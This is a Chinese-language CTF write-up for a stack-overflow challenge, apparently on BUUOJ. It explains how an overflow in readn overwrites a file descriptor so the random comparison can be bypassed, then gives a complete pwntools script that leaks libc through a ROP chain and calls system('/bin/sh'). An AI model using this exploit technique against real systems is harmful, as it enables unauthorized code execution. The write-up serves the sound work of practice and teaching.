一个栈溢出的题,没开PIE
程序先打开随机数发生器,读入然后加密,与输入的对比,不同时可输入0x400数据(溢出)相同则跳出循环。
fd = open("/dev/urandom", 0);
while ( 1 )
{
puts("\nFind a MD5 hash collision!");
printf("target: ");
read(fd, buf, 0x3FFuLL);
crypto(buf, 0x64uLL, (__int64)s2);
for ( i = 0; i <= 15; ++i )
printf("%2.2x", (unsigned __int8)s2[i]);
printf("\ninput: ");
readn(v7, 0x64u);
crypto(v7, 0x64uLL, (__int64)s1);
s2[0] = 17;
s2[1] = 0;
if ( !strcmp(s1, s2) )
break;
puts("collision not found...");
puts("you can instead guess the random value: ");
readn(v7, 0x400u); // 溢出,先覆盖fp,循环后会从输入读入值
if ( !strcmp(v7, buf) )
{
puts("congratulations! how do you guess it?");
return 0LL;
}
puts("failed... try again!\n");
}
return 0LL;
漏洞点在readn(v7,0x400) ,在这里v7溢出后可以覆盖到fp将fp改为0则下个循环时从标准输入读数据,这时这个随机数就可控了,可以比较成功。
思路:
- 输入溢出到fp覆盖为0
- 循环回来后两个都输入0
- 再溢出输入rop泄露libc,然后调用start重来
- 回到步骤1,rop写system
from pwn import *
binary = './pwn'
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
libc_start_main_ret = 0x20840
else:
p = remote('node4.buuoj.cn', 29548)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF(binary)
context(arch = 'amd64', log_level='debug') #'critical'
readn = 0x400e89
pop_rdi = 0x00000000004010a3 # pop rdi ; ret
pop_rsi = 0x00000000004010a1 # pop rsi ; pop r15 ; ret
#gdb.attach(p, 'b*0x400e89')
#1
p.sendafter(b"\ninput: ", b'\x00'*0x64)
p.sendlineafter(b"you can instead guess the random value: ", b'\x00'*(0x80-8) + p64(0))
p.sendafter(b"target: ", b'\x00'*0x3ff)
p.sendafter(b"\ninput: ", b'\x00'*0x64)
payload = flat(b'\x00'*(0x88 -1),
pop_rdi,elf.got['puts'], elf.plt['puts'], #puts got.puts
0x400880 ) #call start
p.sendlineafter(b"you can instead guess the random value: ", payload)
p.recvuntil(b"congratulations! how do you guess it?\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
system = libc_base + libc_elf.sym['system']
bin_sh = libc_base + next(libc_elf.search(b'/bin/sh'))
print('libc:', hex(libc_base))
sleep(0.1)
#2
p.sendafter(b"\ninput: ", b'\x00'*0x64)
p.sendlineafter(b"you can instead guess the random value: ", b'\x00'*(0x80-8) + p64(0))
p.sendafter(b"target: ", b'\x00'*0x3ff)
p.sendafter(b"\ninput: ", b'\x00'*0x64)
payload = flat(b'\x00'*(0x88 -1), pop_rdi,bin_sh, system) #call system
p.sendlineafter(b"you can instead guess the random value: ", payload)
p.sendline(b'cat /flag')
p.interactive()